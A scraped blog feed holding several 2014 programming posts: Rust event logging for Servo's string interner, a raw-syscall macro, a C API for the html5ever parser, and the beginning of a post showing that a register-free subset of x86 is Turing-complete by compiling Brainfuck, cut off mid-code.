<p>From a pure language perspective. If you want to talk about availability of compilers and libraries, then Rust still has a <em>bit</em> of a disadvantage ;) <a href="#fnref2" rev="footnote">↩</a></p>
</li>
<li id="fn3">
<p>In fact, this code grew out of an earlier experiment with really small binaries in C. <a href="#fnref3" rev="footnote">↩</a></p>
</li>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com225tag:blogger.com,1999:blog-1563623855220143059.post-40977065328398116032014-10-29T12:10:00.001-07:002014-10-29T12:15:27.014-07:00A taste of Rust (yum) for C/C++ programmers<p>If, like me,
you've been frustrated with the status quo in systems languages,
this article will give you a taste of why Rust is so exciting.
In a tiny amount of code,
it shows a lot of ways that Rust really kicks ass compared to C and C++.
It's not just safe and fast,
it's a lot more convenient.</p>
<p>Web browsers do <a href="http://en.wikipedia.org/wiki/String_interning">string interning</a>
to condense the strings that make up the Web,
such as tag and attribute names,
into small values that can be compared quickly.
I recently added
event logging support to
<a href="https://github.com/servo/servo">Servo</a>'s string interner.
This will allow us
to record traces from real websites,
which we can use
to guide further optimizations.</p>
<p>Here are the events we can log:</p>
<pre class='rust '>
<span class='attribute'>#[<span class='ident'>deriving</span>(<span class='ident'>Show</span>)]</span>
<span class='kw'>pub</span> <span class='kw'>enum</span> <span class='ident'>Event</span> {
<span class='ident'>Intern</span>(<span class='ident'>u64</span>),
<span class='ident'>Insert</span>(<span class='ident'>u64</span>, <span class='ident'>String</span>),
<span class='ident'>Remove</span>(<span class='ident'>u64</span>),
}
</pre>
<p>Interned strings have a 64-bit ID,
which is recorded in every event.
The <a href="http://doc.rust-lang.org/std/string/struct.String.html"><code>String</code></a>
we store for "insert" events
is like C++'s <code>std::string</code>;
it points to a buffer in the heap,
and it owns that buffer.</p>
<p>This <a href="http://doc.rust-lang.org/guide.html#enums"><code>enum</code></a> is a bit fancier than a C <code>enum</code>,
but its representation in memory
is no more complex than a C <code>struct</code>.
There's a tag for the three alternatives,
a 64-bit ID,
and a few fields that make up the <code>String</code>.
When we pass or return an <code>Event</code> by value,
it's at worst a <code>memcpy</code>
of a few dozen bytes.
There's no implicit heap allocation,
garbage collection,
or anything like that.
We didn't define a way to copy an event;
this means the <code>String</code> buffer
always has a unique owner
who is responsible for freeing it.</p>
<p>The <code>deriving(Show)</code> attribute
tells the compiler to <a href="http://doc.rust-lang.org/reference.html#deriving">auto-generate</a>
a text representation,
so we can print an <code>Event</code>
just as easily as a built-in type.</p>
<p>Next we declare a global vector of events,
protected by a mutex:</p>
<pre class='rust '>
<span class='macro'>lazy_static</span><span class='macro'>!</span> {
<span class='kw'>pub</span> <span class='kw'>static</span> <span class='kw-2'>ref</span> <span class='ident'>LOG</span>: <span class='ident'>Mutex</span><span class='op'><</span><span class='ident'>Vec</span><span class='op'><</span><span class='ident'>Event</span><span class='op'>>></span>
<span class='op'>=</span> <span class='ident'>Mutex</span>::<span class='ident'>new</span>(<span class='ident'>Vec</span>::<span class='ident'>with_capacity</span>(<span class='number'>50_000</span>));
}
</pre>
<p><code>lazy_static!</code> will initialize both of them
when <code>LOG</code> is first used.
Like <code>String</code>, the <code>Vec</code> is a growable buffer.
We won't turn on event logging in release builds,
so it's fine to pre-allocate space for 50,000 events.
(You can put underscores
anywhere in a integer literal
to improve readability.)</p>
<p><code>lazy_static!</code>, <code>Mutex</code>, and <code>Vec</code> are all implemented
in Rust
using gnarly low-level code.
But the amazing thing
is that all three expose a safe interface.
It's simply not possible
to use the variable before it's initialized,
or to read the value the <code>Mutex</code> protects without locking it,
or to modify the vector while iterating over it.</p>
<p>The worst you can do is deadlock.
And Rust considers that pretty bad, still,
which is why it discourages global state.
But it's clearly what we need here.
Rust takes a pragmatic approach to safety.
You can always write <a href="http://doc.rust-lang.org/reference.html#unsafety">the <code>unsafe</code> keyword</a>
and then use the same pointer tricks
you'd use in C.
But you don't need to be quite so guarded
when writing the other 95% of your code.
I want a language that assumes I'm brilliant but distracted :)</p>
<p>Rust catches these mistakes at compile time,
and produces the same code you'd see
with equivalent constructs in C++.
For a more in-depth comparison,
see Ruud van Asseldonk's
<a href="http://ruudvanasseldonk.com/2014/08/10/writing-a-path-tracer-in-rust-part-1">excellent series of articles</a>
about porting a spectral path tracer from C++ to Rust.
The Rust code <a href="http://ruudvanasseldonk.com/2014/10/20/writing-a-path-tracer-in-rust-part-7-conclusion">performs</a> basically the same as
Clang / GCC / MSVC on the same platform.
Not surprising,
because Rust uses <a href="http://llvm.org/">LLVM</a>
and benefits from
the same backend optimizations as Clang.</p>
<p><code>lazy_static!</code> is not a built-in language feature;
it's a <a href="http://doc.rust-lang.org/guide-macros.html">macro</a> provided by
<a href="https://github.com/Kimundi/lazy-static.rs">a third-party library</a>.
Since the library uses <a href="http://doc.crates.io/">Cargo</a>,
I can include it in my project by adding</p>
<pre><code class="language-toml">[dependencies.lazy_static]
git = "https://github.com/Kimundi/lazy-static.rs"
</code></pre>
<p>to <code>Cargo.toml</code> and then adding</p>
<pre class='rust '>
<span class='attribute'>#[<span class='ident'>phase</span>(<span class='ident'>plugin</span>)]</span>
<span class='kw'>extern</span> <span class='kw'>crate</span> <span class='ident'>lazy_static</span>;
</pre>
<p>to <code>src/lib.rs</code>.
Cargo will automatically fetch and build all dependencies.
Code reuse becomes no harder
than in your favorite scripting language.</p>
<p>Finally, we define a function
that pushes a new event onto the vector:</p>
<pre class='rust '>
<span class='kw'>pub</span> <span class='kw'>fn</span> <span class='ident'>log</span>(<span class='ident'>e</span>: <span class='ident'>Event</span>) {
<span class='ident'>LOG</span>.<span class='ident'>lock</span>().<span class='ident'>push</span>(<span class='ident'>e</span>);
}
</pre>
<p><code>LOG.lock()</code> produces an
<a href="http://en.wikipedia.org/wiki/Resource_Acquisition_Is_Initialization">RAII</a> handle
that will automatically unlock the mutex
when it falls out of scope.
In C++ I always hesitate to use temporaries like this
because if they're destroyed too soon,
my program will segfault or worse.
Rust has compile-time <a href="http://doc.rust-lang.org/guide-lifetimes.html">lifetime checking</a>,
so I can do things that <a href="http://www.randomhacks.net/2014/09/19/rust-lifetimes-reckless-cxx/">would be reckless</a> in C++.</p>
<p>If you scroll up you'll see
a lot of prose and not a lot of code.
That's because I got
a huge amount of functionality for free.
Here's the logging module again:</p>
<pre class='rust '>
<span class='attribute'>#[<span class='ident'>deriving</span>(<span class='ident'>Show</span>)]</span>
<span class='kw'>pub</span> <span class='kw'>enum</span> <span class='ident'>Event</span> {
<span class='ident'>Intern</span>(<span class='ident'>u64</span>),
<span class='ident'>Insert</span>(<span class='ident'>u64</span>, <span class='ident'>String</span>),
<span class='ident'>Remove</span>(<span class='ident'>u64</span>),
}
<span class='macro'>lazy_static</span><span class='macro'>!</span> {
<span class='kw'>pub</span> <span class='kw'>static</span> <span class='kw-2'>ref</span> <span class='ident'>LOG</span>: <span class='ident'>Mutex</span><span class='op'><</span><span class='ident'>Vec</span><span class='op'><</span><span class='ident'>Event</span><span class='op'>>></span>
<span class='op'>=</span> <span class='ident'>Mutex</span>::<span class='ident'>new</span>(<span class='ident'>Vec</span>::<span class='ident'>with_capacity</span>(<span class='number'>50_000</span>));
}
<span class='kw'>pub</span> <span class='kw'>fn</span> <span class='ident'>log</span>(<span class='ident'>e</span>: <span class='ident'>Event</span>) {
<span class='ident'>LOG</span>.<span class='ident'>lock</span>().<span class='ident'>push</span>(<span class='ident'>e</span>);
}
</pre>
<p>This goes in <code>src/event.rs</code>
and we include it from <code>src/lib.rs</code>.</p>
<pre class='rust '>
<span class='attribute'>#[<span class='ident'>cfg</span>(<span class='ident'>feature</span> <span class='op'>=</span> <span class='string'>"log-events"</span>)]</span>
<span class='kw'>pub</span> <span class='kw'>mod</span> <span class='ident'>event</span>;
</pre>
<p>The <a href="http://doc.rust-lang.org/reference.html#conditional-compilation"><code>cfg</code> attribute</a>
is how Rust does conditional compilation. Another project can specify</p>
<pre><code class="language-toml">[dependencies.string_cache]
git = "https://github.com/servo/string-cache"
features = ["log-events"]
</code></pre>
<p>and add code to dump the log:</p>
<pre class='rust '>
<span class='kw'>for</span> <span class='ident'>e</span> <span class='kw'>in</span> <span class='ident'>string_cache</span>::<span class='ident'>event</span>::<span class='ident'>LOG</span>.<span class='ident'>lock</span>().<span class='ident'>iter</span>() {
<span class='macro'>println</span><span class='macro'>!</span>(<span class='string'>"{}"</span>, <span class='ident'>e</span>);
}
</pre>
<p>Any project which doesn't opt in to <code>log-events</code>
will see zero impact from any of this.</p>
<p>If you'd like to learn Rust,
the <a href="http://doc.rust-lang.org/guide.html">Guide</a> is a good place to start.
We're getting <a href="http://blog.rust-lang.org/2014/09/15/Rust-1.0.html">close to 1.0</a>
and the important concepts have been stable for a while,
but the details of syntax and libraries are still in flux.
It's not too early to learn,
but it might be too early to maintain a large library.</p>
<p>By the way,
here are the events generated by
interning the three strings
<code>foobarbaz</code> <code>foo</code> <code>blockquote</code>:</p>
<pre><code class="language-text">Insert(0x7f1daa023090, foobarbaz)
Intern(0x7f1daa023090)
Intern(0x6f6f6631)
Intern(0xb00000002)
</code></pre>
<p>There are
three different kinds of IDs,
indicated by the least significant bits.
The first is a pointer
into a standard interning table,
which is protected by a mutex.
The other two are created without synchronization,
which improves parallelism
between parser threads.</p>
<p>In UTF-8,
the string <code>foo</code>
is smaller than a 64-bit pointer,
so we store the characters directly.
<code>blockquote</code> is too big for that,
but it corresponds to a well-known HTML tag.
<code>0xb</code> is the index of <code>blockquote</code> in
<a href="https://github.com/servo/string-cache/blob/master/macros/src/atom/data.rs">a static list</a>
of strings that are common
on the Web.
Static atoms
can also be used
<a href="https://github.com/servo/string-cache/blob/09a935e64248ca70bd6da12f9760a0fec9ea43fd/src/atom.rs#L533-L552">in pattern matching</a>, and
LLVM's optimizations
for C's <code>switch</code> statements will apply.</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com178tag:blogger.com,1999:blog-1563623855220143059.post-7604656887709613582014-09-17T17:33:00.000-07:002014-09-17T17:33:56.578-07:00Raw system calls for Rust<p>I wrote <a href="https://github.com/kmcallister/syscall.rs">a small library</a> for making raw system calls from Rust programs. It provides a macro that expands into in-line system call instructions, with no run-time dependencies at all. Here's an example:</p>
<pre class="sourceCode rust"><code class="sourceCode rust"><span class="st">#![feature(phase)]</span>
<span class="st">#[phase(plugin, link)]</span>
<span class="kw">extern crate</span> syscall;
<span class="kw">fn</span> write(fd: <span class="dt">uint</span>, buf: <span class="ot">&</span>[<span class="dt">u8</span>]) {
<span class="kw">unsafe</span> {
syscall!(WRITE, fd, buf.as_ptr(), buf.len());
}
}
<span class="kw">fn</span> main() {
write(1, <span class="st">"Hello, world!\n"</span>.as_bytes());
}</code></pre>
<p>Right now it only supports x86-64 Linux, but I'd love to add other platforms. Pull requests are much appreciated. :)</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com427tag:blogger.com,1999:blog-1563623855220143059.post-45806740457453010782014-08-27T22:45:00.000-07:002014-08-27T23:18:40.585-07:00Calling a Rust library from C (or anything else!)<p>One reason I'm excited about <a href="http://www.rust-lang.org/">Rust</a> is that I can compile Rust code to a simple native-code library, without heavy runtime dependencies, and then call it from any language. Imagine writing performance-critical extensions for Python, Ruby, or Node in a safe, pleasant language that has <a href="http://doc.rust-lang.org/guide-lifetimes.html">static lifetime checking</a>, <a href="http://doc.rust-lang.org/tutorial.html#pattern-matching">pattern matching</a>, a <a href="http://doc.rust-lang.org/guide-macros.html">real macro system</a>, and other goodies like that. For this reason, when I started <a href="https://github.com/kmcallister/html5ever">html5ever</a> some six months ago, I wanted it to be more than another "Foo for BarLang" project. I want it to be <em>the</em> HTML parser of choice, for a wide variety of applications in any language.</p>
<p>Today I started work in earnest on the C API for html5ever. In only a few hours I had a working demo. And this is a fairly complicated library, with 5,000+ lines of code incorporating</p>
<ul class="incremental">
<li>most of the <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/syntax.html">hilariously complicated parsing rules</a> in the HTML spec,</li>
<li>a <a href="https://github.com/kmcallister/html5ever/blob/cb98c0cb700835f7473a9fc09a7ee9564ef3c73e/macros/src/match_token.rs">Rust syntax extension</a> for writing parse rules in a concise form that matches the spec,</li>
<li>compile-time <a href="https://github.com/sfackler/rust-phf">perfect hash maps</a> for string interning and named characters, and</li>
<li>lots and lots of generic code — if this library were written in C++, almost all of it would be in header files.</li>
</ul>
<p>It's pretty cool that we can use all this machinery from C, or any language that can call C. I'll describe first how to build and use the library, and then I'll talk about the implementation of the C API.</p>
<p>html5ever (for C or for Rust) is not finished yet, but if you're feeling adventurous, you are welcome to try it out! And I'd love to have more contributors. Let me know <a href="https://github.com/kmcallister/html5ever/issues">on GitHub</a> about any issues you run into.</p>
<h1 id="using-html5ever-from-c">Using html5ever from C</h1>
<p>Like most Rust libraries, html5ever builds with <a href="http://crates.io/">Cargo</a>.</p>
<pre><code>$ git clone https://github.com/kmcallister/html5ever
$ cd html5ever
$ git checkout dev
$ cargo build
Updating git repository `https://github.com/sfackler/rust-phf`
Compiling phf_mac v0.0.0 (https://github.com/sfackler/rust-phf#f21e2a41)
Compiling html5ever-macros v0.0.0 (file:///tmp/html5ever)
Compiling phf v0.0.0 (https://github.com/sfackler/rust-phf#f21e2a41)
Compiling html5ever v0.0.0 (file:///tmp/html5ever)</code></pre>
<p>The C API isn't Cargo-ified yet, so we'll build it using the older Makefile-based system.</p>
<pre><code>$ mkdir build
$ cd build
$ ../configure
$ make libhtml5ever_for_c.a
rustc -D warnings -C rpath -L /tmp/html5ever/target -L /tmp/html5ever/target/deps \
-o libhtml5ever_for_c.a --cfg for_c --crate-type staticlib /tmp/html5ever/src/lib.rs
warning: link against the following native artifacts when linking against this static library
note: the order and any duplication can be significant on some platforms, and so may need to be preserved
note: library: rt
note: library: dl
note: library: pthread
note: library: gcc_s
note: library: pthread
note: library: c
note: library: m</code></pre>
<p>Now we can build an <a href="https://github.com/kmcallister/html5ever/blob/cb98c0cb700835f7473a9fc09a7ee9564ef3c73e/examples/capi/tokenize.c">example C program</a> using that library, and following the link instructions produced by <code>rustc</code>.</p>
<pre><code>$ H5E_PATH=/tmp/html5ever
$ gcc -Wall -o tokenize tokenize.c -I $H5E_PATH/capi -L $H5E_PATH/build \
-lhtml5ever_for_c -lrt -ldl -lpthread -lgcc_s -lpthread -lc -lm
$ ./tokenize 'Hello&comma; <i class=excellent>world!</i>'
CHARS : Hello
CHARS : ,
CHARS :
TAG : <i>
ATTR: class="excellent"
CHARS : world!
TAG : </i></code></pre>
<p>The build process is pretty standard for C; we just link a <code>.a</code> file and its dependencies. The biggest obstacle right now is that you won't find the Rust compiler in your distro's package manager, because the language is still changing so rapidly. But there's a ton of effort going into stabilizing the language for a Rust 1.0 release this year. It won't be too long before <code>rustc</code> is a reasonable build dependency.</p>
<p>Let's look at the C client code.</p>
<pre class="sourceCode c"><code class="sourceCode c"><span class="ot">#include <stdio.h></span>
<span class="ot">#include "html5ever.h"</span>
<span class="dt">void</span> put_str(<span class="dt">const</span> <span class="dt">char</span> *x) {
fputs(x, stdout);
}
<span class="dt">void</span> put_buf(<span class="kw">struct</span> h5e_buf text) {
fwrite(text.data, text.len, <span class="dv">1</span>, stdout);
}
<span class="dt">void</span> do_start_tag(<span class="dt">void</span> *user, <span class="kw">struct</span> h5e_buf name, <span class="dt">int</span> self_closing, size_t num_attrs) {
put_str(<span class="st">"TAG : <"</span>);
put_buf(name);
<span class="kw">if</span> (self_closing) {
putchar('/');
}
put_str(<span class="st">"></span><span class="ch">\n</span><span class="st">"</span>);
}
<span class="co">// ...</span>
<span class="kw">struct</span> h5e_token_ops ops = {
.do_chars = do_chars,
.do_start_tag = do_start_tag,
.do_tag_attr = do_tag_attr,
.do_end_tag = do_end_tag,
};
<span class="kw">struct</span> h5e_token_sink sink = {
.ops = &ops,
.user = NULL,
};
<span class="dt">int</span> main(<span class="dt">int</span> argc, <span class="dt">char</span> *argv[]) {
<span class="kw">if</span> (argc < <span class="dv">2</span>) {
printf(<span class="st">"Usage: %s 'HTML fragment'</span><span class="ch">\n</span><span class="st">"</span>, argv[<span class="dv">0</span>]);
<span class="kw">return</span> <span class="dv">1</span>;
}
<span class="kw">struct</span> h5e_tokenizer *tok = h5e_tokenizer_new(&sink);
h5e_tokenizer_feed(tok, h5e_buf_from_cstr(argv[<span class="dv">1</span>]));
h5e_tokenizer_end(tok);
h5e_tokenizer_free(tok);
<span class="kw">return</span> <span class="dv">0</span>;
}</code></pre>
<p>The <code>struct h5e_token_ops</code> contains pointers to callbacks. Any events we don't care to handle are left as NULL function pointers. Inside <code>main</code>, we create a tokenizer and feed it a string. html5ever for C uses a simple pointer+length representation of buffers, which is this <code>struct h5e_buf</code> you see being passed by value.</p>
<p>This demo only does tokenization, not tree construction. html5ever can perform both phases of parsing, but the API surface for tree construction is much larger and I didn't get around to writing C bindings yet.</p>
<h1 id="implementing-the-c-api">Implementing the C API</h1>
<p>Some parts of Rust's <a href="http://doc.rust-lang.org/std/index.html"><code>libstd</code></a> depend on runtime services, such as task-local data, that a C program may not have initialized. So the <a href="https://github.com/kmcallister/html5ever/commit/222affd0caa132eabb1f14f47b489c161f968b42">first step</a> in building a C API was to eliminate all <code>std::</code> imports. This isn't nearly as bad as it sounds, because large parts of <code>libstd</code> are just re-exports from other libraries like <a href="http://doc.rust-lang.org/core/index.html"><code>libcore</code></a> that we can use with no trouble. To be fair, I did write html5ever with the goal of a C API in mind, and I avoided features like threading that would be difficult to integrate. So your library might give you more trouble, depending on which Rust features you use.</p>
<p>The <a href="https://github.com/kmcallister/html5ever/commit/c30deff17923294c39890986099e3ead64be29e3">next step</a> was to add the <code>#![no_std]</code> crate attribute. This means we no longer import <a href="http://doc.rust-lang.org/std/prelude/index.html">the standard prelude</a> into every module. To compensate, I added <code>use core::prelude::*;</code> to most of my modules. This brings in <a href="http://doc.rust-lang.org/core/prelude/index.html">the parts of the prelude</a> that can be used without runtime system support. I also added many imports for ubiquitous types like <code>String</code> and <code>Vec</code>, which come from <code>libcollections</code>.</p>
<p>After that I had to <a href="https://github.com/kmcallister/html5ever/commit/89f2f45af0425271d4c79a73f00fd42eca00dad8">get rid of the last references to <code>libstd</code></a>. The biggest obstacle here involved macros and <a href="http://doc.rust-lang.org/tutorial.html#deriving-implementations-for-traits"><code>deriving</code></a>, which would produce references to names under <code>std::</code>. To work around this, I create <a href="https://github.com/kmcallister/html5ever/blob/89f2f45af0425271d4c79a73f00fd42eca00dad8/src/lib.rs#L87-L93">a fake little <code>mod std</code></a> which re-exports the necessary parts of <code>core</code> and <code>collections</code>. This is similar to <a href="https://github.com/rust-lang/rust/blob/0d3bd7720c50e3ada4bac77331d43926493be4fe/src/libstd/lib.rs#L273-L277"><code>libstd</code>'s "curious inner-module"</a>.</p>
<p>I also had to remove all uses of <code>format!()</code>, <code>println!()</code>, etc., or move them inside <code>#[cfg(not(for_c))]</code>. I needed to <a href="https://github.com/kmcallister/html5ever/blob/89f2f45af0425271d4c79a73f00fd42eca00dad8/src/macros.rs#L59-L69">copy in the <code>vec!()</code> macro</a> which is only provided by <code>libstd</code>, even though the <code>Vec</code> type is provided by <code>libcollections</code>. And I had to omit debug log messages when building for C; I did this with <a href="https://github.com/kmcallister/html5ever/blob/89f2f45af0425271d4c79a73f00fd42eca00dad8/src/macros.rs#L71-L90">conditionally-defined macros</a>.</p>
<p>With all this preliminary work done, it was time to write <a href="https://github.com/kmcallister/html5ever/blob/cb98c0cb700835f7473a9fc09a7ee9564ef3c73e/src/for_c/tokenizer.rs">the C bindings</a>. Here's how the struct of function pointers looks on the Rust side:</p>
<pre class="rust"><code>#[repr(C)]
pub struct h5e_token_ops {
do_start_tag: extern "C" fn(user: *mut c_void, name: h5e_buf,
self_closing: c_int, num_attrs: size_t),
do_tag_attr: extern "C" fn(user: *mut c_void, name: h5e_buf,
value: h5e_buf),
do_end_tag: extern "C" fn(user: *mut c_void, name: h5e_buf),
// ...
}</code></pre>
<p>The <a href="https://github.com/kmcallister/html5ever/blob/cb98c0cb700835f7473a9fc09a7ee9564ef3c73e/src/for_c/tokenizer.rs#L49-L111">processing of tokens</a> is straightforward. We pattern-match and then call the appropriate function pointer, <a href="https://github.com/kmcallister/html5ever/blob/cb98c0cb700835f7473a9fc09a7ee9564ef3c73e/src/for_c/tokenizer.rs#L53">unless</a> that pointer is NULL. (<b>Edit:</b> eddyb points out that storing NULL as an <code>extern "C" fn</code> is undefined behavior. Better to use <code>Option<extern "C" fn ...></code>, which will optimize to the same one-word representation.) </p>
<p>To <a href="https://github.com/kmcallister/html5ever/blob/cb98c0cb700835f7473a9fc09a7ee9564ef3c73e/src/for_c/tokenizer.rs#L115-L122">create a tokenizer</a>, we heap-allocate the Rust data structure in a <a href="http://doc.rust-lang.org/alloc/boxed/index.html"><code>Box</code></a>, and then <a href="http://doc.rust-lang.org/core/intrinsics/ffi.transmute.html">transmute</a> that to a raw C pointer. When the C client calls <code>h5e_tokenizer_free</code>, we transmute this pointer back to a box and <a href="https://github.com/kmcallister/html5ever/blob/cb98c0cb700835f7473a9fc09a7ee9564ef3c73e/src/for_c/tokenizer.rs#L126">drop it</a>, which will invoke destructors and finally free the memory.</p>
<p>You'll note that the functions exported to C have several special annotations:</p>
<ul class="incremental">
<li><code>#[no_mangle]</code>: skip <a href="http://en.wikipedia.org/wiki/Name_mangling">name mangling</a>, so we end up with a linker symbol named <code>h5e_tokenizer_free</code> instead of <code>_ZN5for_c9tokenizer18h5e_tokenizer_free</code>.</li>
<li><code>unsafe</code>: don't let Rust code call these functions unless it <a href="http://doc.rust-lang.org/rust.html#unsafe-blocks">promises to be careful</a>.</li>
<li><code>extern "C"</code>: make sure the exported function has a C-compatible <a href="http://en.wikipedia.org/wiki/Application_binary_interface">ABI</a>. The data structures similarly get a <code>#[repr(C)]</code> attribute.</li>
</ul>
<p>Then I wrote a <a href="https://github.com/kmcallister/html5ever/blob/cb98c0cb700835f7473a9fc09a7ee9564ef3c73e/capi/html5ever.h">C header file</a> matching this ABI:</p>
<pre class="sourceCode c"><code class="sourceCode c"><span class="kw">struct</span> h5e_buf {
<span class="dt">unsigned</span> <span class="dt">char</span> *data;
size_t len;
};
<span class="kw">struct</span> h5e_buf h5e_buf_from_cstr(<span class="dt">const</span> <span class="dt">char</span> *str);
<span class="kw">struct</span> h5e_token_ops {
<span class="dt">void</span> (*do_start_tag)(<span class="dt">void</span> *user, <span class="kw">struct</span> h5e_buf name,
<span class="dt">int</span> self_closing, size_t num_attrs);
<span class="dt">void</span> (*do_tag_attr)(<span class="dt">void</span> *user, <span class="kw">struct</span> h5e_buf name,
<span class="kw">struct</span> h5e_buf value);
<span class="dt">void</span> (*do_end_tag)(<span class="dt">void</span> *user, <span class="kw">struct</span> h5e_buf name);
<span class="co">///</span> ...
};
<span class="kw">struct</span> h5e_tokenizer;
<span class="kw">struct</span> h5e_tokenizer *h5e_tokenizer_new(<span class="kw">struct</span> h5e_token_sink *sink);
<span class="dt">void</span> h5e_tokenizer_free(<span class="kw">struct</span> h5e_tokenizer *tok);
<span class="dt">void</span> h5e_tokenizer_feed(<span class="kw">struct</span> h5e_tokenizer *tok, <span class="kw">struct</span> h5e_buf buf);
<span class="dt">void</span> h5e_tokenizer_end(<span class="kw">struct</span> h5e_tokenizer *tok);</code></pre>
<p>One remaining issue is that Rust is hard-wired to use <a href="http://www.canonware.com/jemalloc/">jemalloc</a>, so linking html5ever will bring that in alongside the system's libc malloc. Having two separate malloc heaps will likely increase memory consumption, and it prevents us from doing fun things like allocating <code>Box</code>es in Rust that can be used and freed in C. Before Rust can really be a great choice for writing C libraries, we need a better solution for integrating the allocators.</p>
<p>If you'd like to talk about calling Rust from C, you can find me as <code>kmc</code> in <code>#rust</code> and <code>#rust-internals</code> on <code>irc.mozilla.org</code>. And if you run into any issues with html5ever, do let me know, preferably by <a href="https://github.com/kmcallister/html5ever/issues">opening an issue on GitHub</a>. Happy hacking!</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com203tag:blogger.com,1999:blog-1563623855220143059.post-55245078295260126032014-02-11T21:50:00.000-08:002014-02-11T21:50:25.291-08:00x86 is Turing-complete with no registers<p><em>In which x86 has too many registers after all.</em></p>
<h1 id="introduction">Introduction</h1>
<p>The fiendish complexity of the x86 instruction set means that even bizarrely restricted subsets are capable of arbitrary computation. As others have shown, we can compute using <a href="http://www.phrack.org/issues.html?issue=57&id=15#article">alphanumeric machine code</a> or <a href="http://www.cs.jhu.edu/~sam/ccs243-mason.pdf">English sentences</a>, using <a href="http://www.cl.cam.ac.uk/~sd601/papers/mov.pdf">only the <code>mov</code> instruction</a>, or <a href="https://github.com/jbangert/trapcc">using the MMU</a> as it handles a never-ending double-fault. Here is my contribution to this genre of <a href="http://esolangs.org/wiki/Turing_tarpit">Turing tarpit</a>: x86 is <a href="http://esolangs.org/wiki/Turing-complete">Turing-complete</a> with no registers.</p>
<h1 id="no-registers">No registers?</h1>
<p>What do I mean by "no registers"? Well, really just whatever makes the puzzle interesting, but the basic guideline is:</p>
<blockquote>
<p>No instruction's observable behavior can depend on the contents of any ordinary user-space register.</p>
</blockquote>
<p>So we can't read from <code>R[ABCD]X</code>, <code>R[SD]I</code>, <code>R[SB]P</code> (that's right, no stack), <code>R8</code>-<code>R15</code>, any of their smaller sub-registers, or any of the x87 / MMX / SSE registers. This forbids implicit register access like <code>push</code> or <code>movsb</code> as well as explicit operands. I think I would allow <code>RIP</code>-relative addressing, but it's probably not useful when you're building a single executable which loads at a fixed address.</p>
<p>We also can't use the condition flags in <code>EFLAGS</code>, so conditional jumps and moves are right out. Many instructions will set these flags, but those dead stores are okay by me.</p>
<p>All memory access depends on segment selectors, the page table base in <code>CR3</code>, and so on. We trust that the OS (Linux in my example) has set up a reasonable flat memory model, and we shouldn't try to modify that. Likewise there are debug registers, parts of <code>EFLAGS</code> (such as the trap bit), and numerous <a href="http://wiki.osdev.org/Model_Specific_Registers">MSRs</a> which can influence the execution of nearly any instruction. We ignore all that too. Basically, the parts of CPU state which normal user-space code doesn't touch are treated as constants.</p>
<p>So what's left that we can work with? Just</p>
<ul class="incremental">
<li>the instruction pointer,</li>
<li>memory operands, and</li>
<li>self-modifying code.</li>
</ul>
<p>But it would be too easy to self-modify an instruction into having a register operand. The above restrictions must hold for every instruction we execute, not just those appearing in our binary. Later on I'll demonstrate experimentally that we aren't cheating.</p>
<h1 id="the-instruction-set">The instruction set</h1>
<p>In a RISC architecture, every memory access is a register load or store, and our task would be completely impossible. But x86 does not have this property. For example we can store a constant directly into memory. Here's machine code along with NASM (Intel syntax) assembly:</p>
<pre><code>c6042500004000ba mov byte [0x400000], 0xba
66c7042500004000dbba mov word [0x400000], 0xbadb
c7042500004000efbead0b mov dword [0x400000], 0xbadbeef
48c7042500004000efbead0b mov qword [0x400000], 0xbadbeef</code></pre>
<p>In the latter case the 4-byte constant is <a href="http://en.wikipedia.org/wiki/Sign_extension">sign-extended</a> to 8 bytes.</p>
<p>We can also perform arithmetic on a memory location in place:</p>
<pre><code>8304250000400010 add dword [0x400000], 0x10</code></pre>
<p>But moving data around is going to be hard. As far as I know, every instruction which loads from one address and stores to another, for example <code>movsb</code>, depends on registers in some way.</p>
<p>Conditional control flow is possible thanks to this gem of an instruction:</p>
<pre><code>ff242500004000 jmp qword [0x400000]</code></pre>
<p>This jumps to whatever address is stored as a 64-bit quantity at address 0x400000. This seems weird but it's really just a load where the destination register is the instruction pointer. Many RISC architectures also allow this.</p>
<h1 id="compiling-from-brainfuck">Compiling from Brainfuck</h1>
<p>Let's get more concrete and talk about compiling <a href="http://esolangs.org/wiki/Brainfuck">Brainfuck</a> code to this subset of x86. Brainfuck isn't the simplest language out there (try <a href="http://esolangs.org/wiki/Subleq">Subleq</a>) but it's pretty familiar as an imperative, structured-control language. So I think compiling from Brainfuck makes this feel "more real" than compiling from something super weird.</p>
<p>A Brainfuck program executes on a linear tape of (<a href="http://esolangs.org/wiki/Brainfuck#Memory_and_wrapping">typically</a>) byte-size cells.</p>
<pre><code>TAPE_SIZE equ 30000
tape_start:
times TAPE_SIZE dq cell0
head equ tape_start + (TAPE_SIZE / 2)</code></pre>
<p>Like many Brainfuck implementations, the tape has a fixed size (more on this later) and we start in the middle. <code>head</code> is not a variable with a memory location; it's just an assembler constant for the address of the middle of the tape.</p>
<p>Since our only way to read memory is <code>jmp [addr]</code>, the tape must store pointers to code. We create 256 short routines, each representing one of the values a cell can hold.</p>
<pre><code>cont_zero: dq 0
cont_nonzero: dq 0
out_byte: db 0
align 16
cell_underflow:
jmp inc_cell
align 16
cell0:
mov byte [out_byte], 0
jmp [cont_zero]
%assign cellval 1
%rep 255
align 16
mov byte [out_byte], cellval
jmp [cont_nonzero]
%assign cellval cellval+1
%endrep
align 16
cell_overflow:
jmp dec_cell</code></pre>
<p>There are two things we need to do with a cell: get its byte value for output, and test whether it's zero. So each routine moves a byte into <code>out_byte</code> and jumps to the address stored at either <code>cont_zero</code> or <code>cont_nonzero</code>.</p>
<p>We produce most of the routines using a <a href="http://www.nasm.us/doc/nasmdoc4.html">NASM macro</a>. We also have functions to handle underflow and overflow, so a cell which would reach -1 or 256 is bumped back to 0 or 255. (We could implement the more typical wrap-around behavior with somewhat more code.)</p>
<p>The routines are aligned on 16-byte boundaries so that we can implement Brainfuck's <code>+</code> and <code>-</code> by adding or subtracting 16. But how do we know where the head is? We can't store it in a simple memory variable because we'd need a double-indirect jump instruction. This is where the self-modifying code comes in.</p>
<pre><code>test_cell:
jmp [head]
inc_cell:
add qword [head], 16
jmp test_cell
dec_cell:
sub qword [head], 16
jmp test_cell
move_right:
add dword [inc_cell+4], 8
add dword [dec_cell+4], 8
add dword [test_cell+3], 8
jmp [cont_zero]
move_left:
sub dword [inc_cell+4], 8
